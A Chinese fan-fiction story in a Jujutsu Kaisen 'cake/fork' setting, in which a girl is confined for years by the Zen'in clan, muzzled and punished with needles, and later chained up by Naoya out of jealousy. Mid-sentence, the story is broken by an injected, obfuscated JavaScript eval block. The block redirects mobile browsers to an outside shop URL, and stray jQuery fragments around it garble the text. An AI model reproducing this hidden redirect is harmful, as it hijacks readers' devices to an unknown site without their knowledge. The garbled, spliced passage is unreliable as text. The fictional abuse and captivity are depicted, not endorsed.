时隔九年,我再次见到了造成我悲剧生活的罪魁祸首。
而我,只能卑微伪装,用尽浑身解数讨好他。
甜腻的气味于和室弥散,比食欲更先到来的,是后颈逐渐升腾的隐痛。
一切源于那个灰暗的星期日上午。
从车上下来,天空灰蒙蒙一片,被厚实的云层分割成斑驳碎块。
自称是父亲表兄的男人,牵着我的手,走进这座高大幽暗的宅邸。
我被丢在会客厅中央,不知所措。
失去父母的护佑,我低着头,悄悄摸到角落,盯着木椅上的雕花发呆。
一阵突如其来的浓郁香气,由远及近,钻入我的鼻腔。
好香。好饿。好想吃。
确实已经到了饭点,肚子咕咕叫嚷起来。
可我没有味觉,尝不出任何食物的滋味,这香气从何而来?
随着一位与我差不多高,穿着考究和服的男孩走进,所有理智瞬间崩散。
我像只饥饿许久的野兽,猛地扑了上去。若不是跟在他身后的女仆及时阻拦,我的牙齿早已深深扎进他的皮肉。
在场所有人都被这一变故吓了一跳。
家主走到我面前。威压下,我挣扎的动作越来越迟缓,最终恢复正常。
医师查验后,宣告了惊天噩耗。很不巧地,禅院家众星捧月的嫡子,禅院直哉,是个cake。
于是我被关了起来。
扇叔父很讨厌我,他辱骂我是粗鲁的、未经驯服的恶犬。
需要被教化。
午休时,他给我戴上止咬器,带至直哉房中。
我们之间仅隔了扇薄薄的襖门。
但凡我流下一点口水,或做出吞咽的动作,他都会拿出特制长针,狠狠扎进我的脖颈。
痛得我不停尖叫。声音被口球阻塞,仅有含糊的呜噜声溢出。
直到距离直哉半米内,我依然无动于衷,这项教化才终于结束。
九年里,我被困在这间小院,数树上掉落的叶片,看重复的节目,有无数次,我觉得自己快要疯掉,最后又恢复冷静。
我的人生不该是这样。
我是父母最宠爱的独女,是老师口中的天才,是人人夸赞的好姑娘。
怎么能够烂在这种地方。
熟悉的气味出现在小院。我知道,机会终于降临。
*
在我无所不用其极的讨好下,直哉几乎是爱惨了我。
他不顾众人反对,强硬地将我带离小院,时时刻刻伴在他身边。
甚至拒绝了扇叔父让我戴上止咬器的提议。
这并不能代表他对我有多信任,我觉得他只是贪恋被舔舐的快感。
但事实上,每次靠近他,我都忍受着呕吐的欲望,美味在创伤应激下成了折磨。
直到某次,他用舌头撬开我的唇瓣。闸门被打开,我切切实实吐了一地。
“什么意思,”禅院直哉的脸上阴云密布,“你恶心我?”
*
禅院直哉最近很恼火。
他想不通,作为禅院家唯一的cake,明梨应当对他欲罢不能才是。
可每次亲密,似乎只有他在享受,就连舔吻,也是他主动邀请后才会发生。
他也不知道怎么了,看着明梨畏畏缩缩讨好他的模样,心中总有团火在乱窜。
某天,他终于迟钝地意识到了什么。
并付出实践。
少男颤抖的、虔诚的初吻,换来的却是歇斯底里的呕吐。
他觉得自己的爱被丢弃,真心被践踏,显得那样可怜可笑。
不是的,根本不该是这样!
他搞不懂哪里出了错,难道是给明梨喂得太饱,出现了反作用?
对,一定是这样,明梨那么喜欢他,怎么会因为接吻呕吐呢。
将明梨隔离在起居室,为了做得更彻底,他连饭食都克扣下来。
卧室里,他握着最新款游戏机,画面出现“Game Over”好几次。
他仍然心不在焉。
音量被调至最低,耳朵竖起,警觉地捕捉居室传来的所有动静。
他多么期望明梨能来求他,哭着说饿。
可整整三天了,他们仍然保持着冷淡的距离,明梨没有任何异常。
就在他忍耐不住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791606|207786||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,准备去找明梨和好的那天,路过花园,他看见了五条家的六眼。
而五条悟身前,坐在秋千上笑容灿烂的,正是明梨。
不久前她还在沙发上躺着,看起来是那样有气无力。
他眼睁睁看着五条悟弯腰,低头,吻住了明梨的嘴唇。
她不仅没有躲,还把脸仰得更高。从他的角度,甚至能看到她红艳艳的、努力吞咽的舌尖。
是的,五条悟也是cake。
整个世界天旋地转。
禅院直哉很想不管不顾地冲上去,给五条悟一拳。
最终却什么也没做,自虐般看着两人亲密。
“为什么这样对我?”脸颊传来湿润感,他用手背擦拭,惊诧地发现,自己居然哭了。
要哭也得是这对渣男贱女哭!
他恶狠狠抹去眼泪,在明梨回到主院后,用特制绳索捆住她的手脚,关进他在冈崎的私人别墅。
“你给我好好呆在这里,别想出去沾花惹草。”
确保明梨脚上的铁链足够她在房间内自由活动,又无法抵达任何可能逃出的区域后,禅院直哉狼狈离开此地。
无视背后声嘶力竭的哭喊。
心绪乱成一团,嫉妒、憎恶、不甘……
他没有回本家,在街头漫无目的地闲逛,期望冷风能让他平静下来。
路过一家店铺,玻璃橱窗内货品琳琅满目,大多数造型奇异,其中一个三棱柱状纸盒吸引了他的目光。
“One Wish Willow.”
一生仅此一次愿望,24小时内实现。
全英文包装,他照着念出那行字,心中轻嗤,这种糊弄小朋友的玩意,都能火到日本。
抱着新鲜心理,他买下了那盒一愿柳。
打开纸盒,一阵明快但略有点变调的音乐声响起。他皱起眉,四处翻找开关,想要关掉这难听的曲调。
没有找到。
算了,赶紧玩完丢掉。
不过是根普通的黑色棍状物,他有些失望,但还是许下了愿望。
“明梨只能和我在一起,永远。”
柳条被一掰两半。